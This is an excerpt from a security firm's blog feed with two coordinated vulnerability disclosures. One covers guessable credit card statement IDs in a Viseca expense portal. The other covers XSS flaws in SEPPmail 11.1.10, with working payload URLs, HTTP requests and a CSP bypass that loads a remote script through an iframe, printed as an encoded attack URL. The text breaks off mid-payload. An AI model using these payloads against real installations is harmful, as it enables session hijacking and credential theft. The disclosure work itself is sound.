&lt;p&gt;The only thing left to proof was that the &lt;code class="docutils literal"&gt;visecaStatementId&lt;/code&gt; does not include sufficient entropy and is therefore guessable and can be brute-forced. If we look at the &lt;code class="docutils literal"&gt;visecaStatementId&lt;/code&gt; it can be noticed that it starts with a time stamp of year, month, day. So we had a proper look at Pentagrid's credit card statement &lt;code class="docutils literal"&gt;visecaStatementId&lt;/code&gt;, which was 20221022093536019983. After a while we had the idea to extract meta data of the PDF statement:&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code text"&gt;&lt;a id="rest_code_bef3c1508f3d49ad9f0c5af82b0faa24-1" name="rest_code_bef3c1508f3d49ad9f0c5af82b0faa24-1" href="https://www.pentagrid.ch/de/blog/viseca-expense-credit-card-statement-disclosure/#rest_code_bef3c1508f3d49ad9f0c5af82b0faa24-1"&gt;&lt;/a&gt;% exiftool -a -u -g1 statement.pdf
&lt;a id="rest_code_bef3c1508f3d49ad9f0c5af82b0faa24-2" name="rest_code_bef3c1508f3d49ad9f0c5af82b0faa24-2" href="https://www.pentagrid.ch/de/blog/viseca-expense-credit-card-statement-disclosure/#rest_code_bef3c1508f3d49ad9f0c5af82b0faa24-2"&gt;&lt;/a&gt;[...]
&lt;a id="rest_code_bef3c1508f3d49ad9f0c5af82b0faa24-3" name="rest_code_bef3c1508f3d49ad9f0c5af82b0faa24-3" href="https://www.pentagrid.ch/de/blog/viseca-expense-credit-card-statement-disclosure/#rest_code_bef3c1508f3d49ad9f0c5af82b0faa24-3"&gt;&lt;/a&gt;Producer                        : Compart MFFPDF I/O Filter 2019-07-30 00:56:08
&lt;a id="rest_code_bef3c1508f3d49ad9f0c5af82b0faa24-4" name="rest_code_bef3c1508f3d49ad9f0c5af82b0faa24-4" href="https://www.pentagrid.ch/de/blog/viseca-expense-credit-card-statement-disclosure/#rest_code_bef3c1508f3d49ad9f0c5af82b0faa24-4"&gt;&lt;/a&gt;Creator                         : Compart Docponent API (201908-STABLE)
&lt;a id="rest_code_bef3c1508f3d49ad9f0c5af82b0faa24-5" name="rest_code_bef3c1508f3d49ad9f0c5af82b0faa24-5" href="https://www.pentagrid.ch/de/blog/viseca-expense-credit-card-statement-disclosure/#rest_code_bef3c1508f3d49ad9f0c5af82b0faa24-5"&gt;&lt;/a&gt;Create Date                     : 2022:10:22 09:35:36+01:00
&lt;a id="rest_code_bef3c1508f3d49ad9f0c5af82b0faa24-6" name="rest_code_bef3c1508f3d49ad9f0c5af82b0faa24-6" href="https://www.pentagrid.ch/de/blog/viseca-expense-credit-card-statement-disclosure/#rest_code_bef3c1508f3d49ad9f0c5af82b0faa24-6"&gt;&lt;/a&gt;Modify Date                     : 2022:10:22 09:35:36+01:00
&lt;a id="rest_code_bef3c1508f3d49ad9f0c5af82b0faa24-7" name="rest_code_bef3c1508f3d49ad9f0c5af82b0faa24-7" href="https://www.pentagrid.ch/de/blog/viseca-expense-credit-card-statement-disclosure/#rest_code_bef3c1508f3d49ad9f0c5af82b0faa24-7"&gt;&lt;/a&gt;[...]
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;By writing the &lt;code class="docutils literal"&gt;visecaStatementId&lt;/code&gt; and the &lt;code class="docutils literal"&gt;create date&lt;/code&gt; of the PDF above each other and inserting spaces shows that the &lt;code class="docutils literal"&gt;visecaStatementId&lt;/code&gt; has very little entropy as it includes a full timestamp including hour, minutes and seconds:&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code text"&gt;&lt;a id="rest_code_fbf42d6f5b234482bfa34d5d70768ab4-1" name="rest_code_fbf42d6f5b234482bfa34d5d70768ab4-1" href="https://www.pentagrid.ch/de/blog/viseca-expense-credit-card-statement-disclosure/#rest_code_fbf42d6f5b234482bfa34d5d70768ab4-1"&gt;&lt;/a&gt;2022 10 22 09 35 36 019983 (visecaStatementId)
&lt;a id="rest_code_fbf42d6f5b234482bfa34d5d70768ab4-2" name="rest_code_fbf42d6f5b234482bfa34d5d70768ab4-2" href="https://www.pentagrid.ch/de/blog/viseca-expense-credit-card-statement-disclosure/#rest_code_fbf42d6f5b234482bfa34d5d70768ab4-2"&gt;&lt;/a&gt;2022:10:22 09:35:36+01:00 (Create Date)
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;The timezone (+01) seems to be just a coincidence that it matches with the number in the &lt;code class="docutils literal"&gt;visecaStatementId&lt;/code&gt;. The last six digits for Pentagrid in the last few monthly statements were:&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code text"&gt;&lt;a id="rest_code_de5d39108c3c48aba14251ed8363cd25-1" name="rest_code_de5d39108c3c48aba14251ed8363cd25-1" href="https://www.pentagrid.ch/de/blog/viseca-expense-credit-card-statement-disclosure/#rest_code_de5d39108c3c48aba14251ed8363cd25-1"&gt;&lt;/a&gt;2021-10: 025323
&lt;a id="rest_code_de5d39108c3c48aba14251ed8363cd25-2" name="rest_code_de5d39108c3c48aba14251ed8363cd25-2" href="https://www.pentagrid.ch/de/blog/viseca-expense-credit-card-statement-disclosure/#rest_code_de5d39108c3c48aba14251ed8363cd25-2"&gt;&lt;/a&gt;2021-11: 021534
&lt;a id="rest_code_de5d39108c3c48aba14251ed8363cd25-3" name="rest_code_de5d39108c3c48aba14251ed8363cd25-3" href="https://www.pentagrid.ch/de/blog/viseca-expense-credit-card-statement-disclosure/#rest_code_de5d39108c3c48aba14251ed8363cd25-3"&gt;&lt;/a&gt;2021-12: 020879
&lt;a id="rest_code_de5d39108c3c48aba14251ed8363cd25-4" name="rest_code_de5d39108c3c48aba14251ed8363cd25-4" href="https://www.pentagrid.ch/de/blog/viseca-expense-credit-card-statement-disclosure/#rest_code_de5d39108c3c48aba14251ed8363cd25-4"&gt;&lt;/a&gt;2022-01: 020786
&lt;a id="rest_code_de5d39108c3c48aba14251ed8363cd25-5" name="rest_code_de5d39108c3c48aba14251ed8363cd25-5" href="https://www.pentagrid.ch/de/blog/viseca-expense-credit-card-statement-disclosure/#rest_code_de5d39108c3c48aba14251ed8363cd25-5"&gt;&lt;/a&gt;2022-02: 021019
&lt;a id="rest_code_de5d39108c3c48aba14251ed8363cd25-6" name="rest_code_de5d39108c3c48aba14251ed8363cd25-6" href="https://www.pentagrid.ch/de/blog/viseca-expense-credit-card-statement-disclosure/#rest_code_de5d39108c3c48aba14251ed8363cd25-6"&gt;&lt;/a&gt;2022-03: 020725
&lt;a id="rest_code_de5d39108c3c48aba14251ed8363cd25-7" name="rest_code_de5d39108c3c48aba14251ed8363cd25-7" href="https://www.pentagrid.ch/de/blog/viseca-expense-credit-card-statement-disclosure/#rest_code_de5d39108c3c48aba14251ed8363cd25-7"&gt;&lt;/a&gt;2022-04: 025125
&lt;a id="rest_code_de5d39108c3c48aba14251ed8363cd25-8" name="rest_code_de5d39108c3c48aba14251ed8363cd25-8" href="https://www.pentagrid.ch/de/blog/viseca-expense-credit-card-statement-disclosure/#rest_code_de5d39108c3c48aba14251ed8363cd25-8"&gt;&lt;/a&gt;2022-05: 020649
&lt;a id="rest_code_de5d39108c3c48aba14251ed8363cd25-9" name="rest_code_de5d39108c3c48aba14251ed8363cd25-9" href="https://www.pentagrid.ch/de/blog/viseca-expense-credit-card-statement-disclosure/#rest_code_de5d39108c3c48aba14251ed8363cd25-9"&gt;&lt;/a&gt;2022-06: 020541
&lt;a id="rest_code_de5d39108c3c48aba14251ed8363cd25-10" name="rest_code_de5d39108c3c48aba14251ed8363cd25-10" href="https://www.pentagrid.ch/de/blog/viseca-expense-credit-card-statement-disclosure/#rest_code_de5d39108c3c48aba14251ed8363cd25-10"&gt;&lt;/a&gt;2022-07: 024985
&lt;a id="rest_code_de5d39108c3c48aba14251ed8363cd25-11" name="rest_code_de5d39108c3c48aba14251ed8363cd25-11" href="https://www.pentagrid.ch/de/blog/viseca-expense-credit-card-statement-disclosure/#rest_code_de5d39108c3c48aba14251ed8363cd25-11"&gt;&lt;/a&gt;2022-08: 019883
&lt;a id="rest_code_de5d39108c3c48aba14251ed8363cd25-12" name="rest_code_de5d39108c3c48aba14251ed8363cd25-12" href="https://www.pentagrid.ch/de/blog/viseca-expense-credit-card-statement-disclosure/#rest_code_de5d39108c3c48aba14251ed8363cd25-12"&gt;&lt;/a&gt;2022-09: 025733
&lt;a id="rest_code_de5d39108c3c48aba14251ed8363cd25-13" name="rest_code_de5d39108c3c48aba14251ed8363cd25-13" href="https://www.pentagrid.ch/de/blog/viseca-expense-credit-card-statement-disclosure/#rest_code_de5d39108c3c48aba14251ed8363cd25-13"&gt;&lt;/a&gt;2022-10: 019983
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;These digits do not include a lot of entropy and seem to vary between the numbers 19983 and 25733. These numbers are assumed to be incrementing IDs per month over all statements of all customers.&lt;/p&gt;
&lt;p&gt;Therefore, Pentagrid concludes that the &lt;code class="docutils literal"&gt;visecaStatementId&lt;/code&gt; is just a timestamp of the creation date of the PDF plus six digits. As credit card statements are likely to be created in sequence as a massive batch job, the entropy of the &lt;code class="docutils literal"&gt;visecaStatementId&lt;/code&gt; is even lower than expected.&lt;/p&gt;
&lt;p&gt;Unfortunately, this endpoint on the webserver did not support HTTP HEAD, Range, If-Modified-Since or other HTTP request techniques that would have allowed Pentagrid to get metadata information about a PDF file (e.g. their byte length in the Content-Length header) or a side-channel (e.g. response time difference) without receiving the full PDF. The full PDF includes sensitive information of third-parties and therefore we did not want to access this data. This prevented us from brute-forcing &lt;code class="docutils literal"&gt;visecaStatementId&lt;/code&gt; to prove our point: It is assumed that when the last six digits would be incremented or decremented, PDF credit card statements of other companies could be downloaded.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="precondition"&gt;
&lt;h2&gt;Precondition&lt;/h2&gt;
&lt;p&gt;There were no special preconditions for exploitation, it was feasible for every user on the Internet. An attacker had to know timestamps when credit card statements were created, for example by having legitimate access to statements or by guessing or brute-forcing.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="recommendation"&gt;
&lt;h2&gt;Recommendation&lt;/h2&gt;
&lt;p&gt;During the disclosure process Pentagrid recommended Viseca to:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;Take the expense portal offline immediately until the issue is resolved or prevent the portal from acquiring Viseca credit card statements.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Contact the third-party who is running the affected service and require an emergency change to fix the issue.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Start an investigation if the issue was exploited in the past.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Check the regulatory obligations that might apply in case of such an issue and take appropriate actions.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Check if Web Application Firewall (WAF) rules could be put in place that prevent or mitigate the issue from arising in the future.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Conduct security measures such as contracting a third-party to do a security analysis of the issue including code review to identify potential further issues.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Pentagrid recommended Fiserv to:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;Take the expense portal offline immediately until the issue is resolved.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Do a root cause analysis of the security issue and fix it (e.g. check the role concept, authentication and authorisation model of the website).&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Conduct security measures such as contracting a third-party to do a security analysis of the issue including code review to identify potential further issues.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Start an investigation if the issue was exploited in the past.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Check the regulatory obligations that might apply in case of such an issue and take appropriate actions.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Pentagrid recommends business customers to:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;Take the usual precautions regarding credit card fraud.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Check the regulatory obligations that might apply in case of such an issue and take appropriate actions.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
&lt;section id="resolution"&gt;
&lt;h2&gt;Resolution&lt;/h2&gt;
&lt;p&gt;According to Viseca, the following actions took place:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;Contacted the third-party who is running the affected service and requested an emergency change to resolve the issue.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Analyzed log files for any signs the vulnerability had been exploited and found no indication of unauthorized access or disclosure of customer information.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Checked wether regulatory notifications are required and, if so, take required actions.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Checked if Web Application Firewall (WAF) rules could be put in place to prevent or mitigate the similar issues from arising in the future.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Conducted security measures such as contracting a third-party to do a security analysis of the issue including code review to identify potential further issues.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;According to Viseca, the owner took the following actions:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;Conducted a root cause analysis of the security issue and resolved it.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Conducted security measures such as contracting a third-party to do a security analysis of the issue including code review to identify potential further issues.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
&lt;section id="credits"&gt;
&lt;h2&gt;Credits&lt;/h2&gt;
&lt;p&gt;The vulnerability has been found by Pentagrid.&lt;/p&gt;
&lt;/section&gt;</description><guid>https://www.pentagrid.ch/de/blog/viseca-expense-credit-card-statement-disclosure/</guid><pubDate>Mon, 20 Mar 2023 03:23:42 GMT</pubDate></item><item><title>Mehrere Verwundbarkeiten in SEPPmail 11.1.10</title><link>https://www.pentagrid.ch/de/blog/multiple-vulnerabilities-in-seppmail/</link><dc:creator>Pentagrid AG</dc:creator><description>&lt;figure&gt;&lt;img src="https://www.pentagrid.ch/images/default_preview_image.jpeg"&gt;&lt;/figure&gt; &lt;p&gt;Während eines Penetrationstests identifizierte Pentagrid mehrere Schwachstellen in
der E-Mail-Gateway-Software SEPPmail in der Version 11.1.10 des Schweizer Unternehmens Seppmail AG. Die Gateway-Lösung
dient dem Transfer vertraulicher E-mails.&lt;/p&gt;
&lt;!-- TEASER_END --&gt;
&lt;section id="timeline"&gt;
&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;2020-12-14: Verwundbarkeiten festgestellt&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2021-01-12: Initialer Kontakt mit Hersteller für Coordinated-Disclosure-Prozess.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2021-01-15: Ticket eröffnet.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2021-02-17: Nachfrage nach Planung und ob Klärungsbedarf besteht. Gemäss Antwort des Herstellers sind alle Probleme adressiert.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2022-11-17: Advisory aktualisert und veröffentlicht.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
&lt;section id="affected-components"&gt;
&lt;h2&gt;Affected Components&lt;/h2&gt;
&lt;p&gt;Die identifizierten Schwachstellen betreffen SEPPmail Version 11.1.10. Andere Versionen der SEPPmail-Software können ebenfalls betroffen sein.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="technische-details"&gt;
&lt;h2&gt;Technische Details&lt;/h2&gt;
&lt;section id="reflektiertes-cross-site-scripting-uber-den-parameter-subject-cve-2021-31739"&gt;
&lt;h3&gt;1.  Reflektiertes Cross-Site-Scripting über den Parameter subject (CVE-2021-31739)&lt;/h3&gt;
&lt;p&gt;CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N, &lt;strong&gt;6.1 Medium&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Die SEPPmail-Lösung ist anfällig für eine Cross-Site Scripting-Schwachstelle, da Benutzereingaben bei der Ausgabe in HTML-Attributen nicht korrekt kodiert werden.&lt;/p&gt;
&lt;p&gt;Auswirkung: Ein Angreifer kann beliebigen HTML-/JavaScript-Code in der Domäne, unter welcher SEPPmail läuft (beispielsweise &lt;em&gt;securemail.example.org&lt;/em&gt;), im Browser der Zielperson ausführen und beispielsweise versuchen, den Benutzernamen und das Passwort der Zielperson zu erfragen und an den Angreifer zu senden.&lt;/p&gt;
&lt;p&gt;Details: Während der Untersuchung wurde festgestellt, dass der Wert des URL-Parameters &lt;cite&gt;subject&lt;/cite&gt; entgegengenommen und nicht korrekt kodiert in der HTML-Seite wieder eingebettet wird. Ruft eine Zielperson die folgende URL auf, wird der in der URL enthaltene HTML-Code anschliessend ausgeführt:&lt;/p&gt;
&lt;pre class="literal-block"&gt;https://securemail.example.org/web.app?subject=foobar%22%20value=pentagrid%20autofocus%20type=text%20&amp;gt;&amp;lt;svg%20src=://example.org/assets/img/svg/svg_xss.svg%20width=999%20height=999&amp;gt;&lt;/pre&gt;
&lt;p&gt;Die entsprechende HTTP-Anfrage mit dem HTML-Code im Parameter &lt;cite&gt;subject&lt;/cite&gt; lautet:&lt;/p&gt;
&lt;pre class="literal-block"&gt;GET /web.app?subject=foobar%22%20value=pentagrid%20autofocus%20type=text%20&amp;gt;&amp;lt;svg%20src=://example.org/assets/img/svg/svg_xss.svg%20width=999%20height=999&amp;gt; HTTP/1.1
Host: securemail.example.org
Connection: close
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8&lt;/pre&gt;
&lt;p&gt;In der HTTP-Antwort bettet SEPPmail die Eingabe im HTML-Code ein:&lt;/p&gt;
&lt;pre class="literal-block"&gt;HTTP/1.1 400 ERROR
Date: Mon, 14 Dec 2020 09:47:19 GMT
Cache-control: private, no-cache, no-store
Pragma: no-cache
X-frame-options: DENY
Strict-Transport-Security: max-age=15552000; includeSubDomains
Content-length: 16302
Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline'; connect-src 'self'; img-src 'self'; style-src 'self' 'unsafe-inline'; object-src 'none';
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Vary: Origin
Connection: close
Content-Type: text/html; charset=utf-8
Set-Cookie: […]; Path=/; Domain=.securemail.example.org; HTTPOnly

[…]
         &amp;lt;input type="hidden" name="rcpt" value="" /&amp;gt;
         &amp;lt;input type="hidden" name="predefinedsubject" value="foobar" value=pentagrid autofocus type=text &amp;gt;&amp;lt;svg src=://example.org /assets/img/svg/svg_xss.svg width=999 height=999&amp;gt;" /&amp;gt;
         &amp;lt;div class="panel panel-default" style="margin-bottom:10px;"&amp;gt;
             &amp;lt;div class="panel-body"&amp;gt;
                 &amp;lt;div class="form-horizontal"
[…]&lt;/pre&gt;
&lt;p&gt;In diesem Fall wird die SVG-Bilddatei zwar als Platzhalter in der Seite eingebettet, jedoch aufgrund der verwendeten Content Security Policy nicht von der Seite &lt;em&gt;example.org&lt;/em&gt; geladen und somit auch kein JavaScript ausgeführt. Die Umgehung der Content-Security Policy in Befund 3 ist aber anwendbar.&lt;/p&gt;
&lt;p&gt;Vorbedingung: Eine Zielperson muss die vom Angreifer festgelegte URL öffnen. Ausserdem muss der Angreifer auch eine Umgehungsmöglichkeit für die Content Security Policy finden, um das Problem effektiv auszunutzen.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="cross-site-scripting-schwachstellen-uber-empfangeradresse-cve-2021-31740"&gt;
&lt;h3&gt;2. Cross-Site-Scripting-Schwachstellen über Empfängeradresse (CVE-2021-31740)&lt;/h3&gt;
&lt;p&gt;CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N, &lt;strong&gt;6.1 Medium&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Beim Empfänger-Feld im Web-Frontend von SEPPMail werden Benutzereingaben nicht korrekt in die Webseite eingebettet und führen daher zu Cross-Site-Scripting-Schwachstellen (XSS).&lt;/p&gt;
&lt;p&gt;Auswirkung: Ein Angreifer kann beliebigen JavaScript-Code in der Domäne von SEPPmail ausführen und beispielsweise eine Zielperson dazu verleiten, die Zugangsdaten preiszugeben.&lt;/p&gt;
&lt;p&gt;Details: Wird im SEPPmail Web-Interface eine Empfängeradresse mit folgendem Inhalt eingefügt und anschliessend versucht das E-Mail abzusenden, wird der enthaltene JavaScript-Code (&lt;cite&gt;alert(1)&lt;/cite&gt;) ausgeführt:&lt;/p&gt;
&lt;pre class="literal-block"&gt;foo@bar&amp;lt;svg/onload='alert(1))'&lt;/pre&gt;
&lt;p&gt;Grundsätzlich wäre dieses Problem nicht ausnutzbar und würde ein sogenanntes Self-XSS darstellen, bei welchem sich ein Benutzer lediglich selbst angreifen könnte. Die Applikation erlaubt es jedoch, alle Parameter in der URL zu übertragen, wie beispielsweise den Session-Token. Somit kann ein Angreifer seine eigene Session verwenden, um die Zielperson einzuloggen und sofort das XSS auszuführen. Diese URL ist dann jedoch nur solange gültig, solange auch die enthaltene Session gültig ist:&lt;/p&gt;
&lt;pre class="literal-block"&gt;https://securemail.example.org/web.app?session=Ufde[…]K&amp;amp;Uf[…]K=Uj[…]VT&amp;amp;op=send-mail&amp;amp;msgid=1607513954.6024&amp;amp;email=example@example.org&amp;amp;origtrackid=&amp;amp;origmsgid=&amp;amp;submit=yes&amp;amp;newto=foo@bar%3csvg%2fonload%3d%27alert%281%29%27&amp;amp;recipients%5b%5d=&amp;amp;subject=&amp;amp;uploadfile=&amp;amp;messagebody=&lt;/pre&gt;
&lt;p&gt;Öffnet eine Zielperson die URL, wird diese als eingeloggter Angreifer erkannt (wegen der mitübergebenen Session-ID) und anschliessend wird das XSS ausgeführt. Beim XSS wäre es für einen Angreifer möglich, beispielsweise ein Login-Formular anzuzeigen, um die Zielperson zur Eingabe der Zugangsdaten zu bewegen. Diese könnten dann an den Angreifer weitergeleitet werden.&lt;/p&gt;
&lt;p&gt;Vorbedingung: Eine Zielperson muss sich verleiten lassen, die URL des Angreifers zu öffnen. Der Angreifer muss ausserdem einen eigenen Zugang zur SEPPmail-Installation besitzen und bereit sein, seinen zugehörigen Session-Token an die Zielperson weiterzugeben. Zusätzlich ist der Angriff zeitlimitiert auf die Gültigkeit der Session in der URL.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="umgehung-von-schwacher-content-security-policy-csp"&gt;
&lt;h3&gt;3. Umgehung von schwacher Content-Security Policy (CSP)&lt;/h3&gt;
&lt;p&gt;CVSS:3.1, &lt;strong&gt;0.0 Information&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Um Cross-Site-Scripting-Angriffe zu erschweren, benutzt die Webseite eine Content Security Policy. Dieser ist jedoch nicht lückenlos gestaltet und kann von einem Angreifer umgangen werden.&lt;/p&gt;
&lt;p&gt;Auswirkung: Ein Angreifer, welcher eine Cross-Site-Scripting-Sicherheitslücke auf der Webseite findet, kann diese auch ausnutzen.&lt;/p&gt;
&lt;p&gt;Details: Die CSP ist ein Mechanismus, um XSS-Angriffe (wie in Befund 1 und 2) zu verhindern. Allerdings benötigt dies eine restriktive Gestaltung der CSP. Die CSP von SEPPMail ist für jeden Webseitenbesucher einsehbar und hat folgende Regeln:&lt;/p&gt;
&lt;pre class="literal-block"&gt;Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline'; connect-src 'self'; img-src 'self'; style-src 'self' 'unsafe-inline'; object-src 'none';&lt;/pre&gt;
&lt;p&gt;Problematisch ist dabei insbesondere die Direktive &lt;cite&gt;unsafe-inline&lt;/cite&gt;. Diese wird hier in der CSP erlaubt und unterstützen damit gängige XSS-Angriffe. Führt ein Angreifer mithilfe von Befund 2 einen XSS-Angriff durch, könnte dieser beispielsweise folgenden HTML-Code verwenden, wenn der Angreifer die CSP fälschlicherweise nicht beachtet:&lt;/p&gt;
&lt;pre class="literal-block"&gt;foo@bar&amp;lt;svg/src='https://example.org/'&lt;/pre&gt;
&lt;p&gt;Da die CSP jedoch aussagt, dass &lt;cite&gt;default-src self&lt;/cite&gt; ist, lädt der Browser keine Bilder von der hier verwendeten Seite &lt;em&gt;example.org&lt;/em&gt; nach. Der Browser verweigert den Zugriff mit der folgenden Fehlermeldung:&lt;/p&gt;
&lt;pre class="literal-block"&gt;Refused to load the image 'https://example.org/' because it violates the following Content Security Policy directive: "img-src 'self'".&lt;/pre&gt;
&lt;p&gt;Ein ähnlicher Fehler würde auftreten, falls versucht würde, eine JavaScript-Datei von &lt;em&gt;example.org&lt;/em&gt; zu laden. Problematisch ist allerdings, dass die Script-Quelle &lt;cite&gt;unsafe-inline&lt;/cite&gt; verwendet werden darf, das heisst folgender XSS-Angriff funktioniert, da ein eingebetteter JavaScript-Code mitgegeben wird:&lt;/p&gt;
&lt;pre class="literal-block"&gt;foo@bar&amp;lt;svg/onload='alert(1))'&lt;/pre&gt;
&lt;p&gt;Daher hat ein Angreifer grundsätzlich erst einmal die Möglichkeit, JavaScript auszuführen. Dies kann im Weiteren ausgenutzt werden, um indirekt JavaScript von &lt;em&gt;example.org&lt;/em&gt; zu laden und auszuführen. Üblicherweise gibt es immer Webseiten auf der verwendeten Domäne &lt;em&gt;securemail.example.org&lt;/em&gt;, welche keinen HTTP-Header &lt;cite&gt;Content-Security-Policy&lt;/cite&gt; zurückliefern, beispielsweise Fehlerseiten wie sie nach Aufruf der URL &lt;a class="reference external" href="https://securemail.example.org/a"&gt;https://securemail.example.org/a&lt;/a&gt; zurückgeliefert werden:&lt;/p&gt;
&lt;pre class="literal-block"&gt;HTTP/1.1 404 Not Found
Date: Wed, 09 Dec 2020 12:22:05 GMT
Strict-Transport-Security: max-age=15552000; includeSubDomains
Content-Length: 196
Connection: close
Content-Type: text/html; charset=iso-8859-1
Set-Cookie: […]; Path=/; Domain=securemail.example.org; HTTPOnly

&amp;lt;!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"&amp;gt;
&amp;lt;html&amp;gt;&amp;lt;head&amp;gt;
&amp;lt;title&amp;gt;404 Not Found&amp;lt;/title&amp;gt;
&amp;lt;/head&amp;gt;&amp;lt;body&amp;gt;
&amp;lt;h1&amp;gt;Not Found&amp;lt;/h1&amp;gt;
&amp;lt;p&amp;gt;The requested URL was not found on this server.&amp;lt;/p&amp;gt;
&amp;lt;/body&amp;gt;&amp;lt;/html&amp;gt;&lt;/pre&gt;
&lt;p&gt;Dies kann genutzt werden, um diese Fehlerseite in einem eigenen IFrame zu laden:&lt;/p&gt;
&lt;pre class="literal-block"&gt;foo@bar&amp;lt;svg/onload='frame=document.createElement("iframe");frame.src="/a";document.body.appendChild(frame);'&lt;/pre&gt;
&lt;p&gt;Anschliessend kann ein neues JavaScript-Element erzeugt werden, welches dann in das IFrame geladen wird. Da im IFrame keine CSP gilt (da der HTTP-Header nicht zurückgeliefert wird für die IFrame-URL), kann dort beliebig JavaScript-Code nachgeladen werden, auch von &lt;em&gt;example.org&lt;/em&gt;:&lt;/p&gt;
&lt;pre class="literal-block"&gt;foo@bar&amp;lt;svg/onload='frame=document.createElement("iframe");frame.src="/a";document.body.appendChild(frame);setTimeout(function(){script=document.createElement("script");script.src="//example.org/a.js";window.frames[0].document.head.appendChild(script);},3000);'&lt;/pre&gt;
&lt;p&gt;Da jedoch im benutzten XSS die Payload zu Kleinbuchstaben konvertiert wird, muss der JavaScript-Code noch kodiert werden. Anschliessend resultiert folgender Angriffscode:&lt;/p&gt;
&lt;pre class="literal-block"&gt;https://securemail.example.org/web.app?session=0H[…]E=z[…]I&amp;amp;op=send-mail&amp;amp;msgid=1607527930.5970&amp;amp;email=example@example.org&amp;amp;origtrackid=&amp;amp;origmsgid=&amp;amp;submit=yes&amp;amp;recipients[]=&amp;amp;subject=&amp;amp;uploadfile=&amp;amp;messagebody=&amp;amp;newto=foo@bar%3Csvg/onload=%27%26%230000102%26%230000114%26%230000097%26%230000109%26%230000101%26%230000061%26%230000100%26%230000111%26%230000099%26%230000117%26%230000109%26%230000101%26%230000110%26%230000116%26%230000046%26%230000099%26%230000114%26%230000101%26%230000097%26%230000116%26%230000101%26%230000069%26%230000108%26%230000101%26%230000109%26%230000101%26%230000110%26%230000116%26%230000040%26%230000034%26%230000105%26%230000102%26%230000114%26%230000097%26%230000109%26%230000101%26%230000034%26%230000041%26%230000059%26%230000102%26%230000114%26%230000097%26%230000109%26%230000101%26%230000046%26%230000115%26%230000114%26%230000099%26%230000061%26%230000034%26%230000047%26%230000118%26%230000049%26%230000047%26%230000034%26%230000059%26%230000100%26%230000111%26%230000099%26%230000117%26%230000109%26%230000101%26%230000110%26%230000116%26%230000046%26%230000098%26%230000111%26%230000100%26%230000121%26%230000046%26%230000097%26%230000112%26%230000112%26%230000101%26%230000110%26%230000100%26%230000067%26%230000104%26%230000105%26%230000108%26%230000100%26%230000040%26%230000102%26%230000114%26%230000097%26%230000109%26%230000101%26%230000041%26%230000059%26%230000115%26%230000099%26%230000114%26%230000105%26%230000112%26%230000116%26%230000061%26%2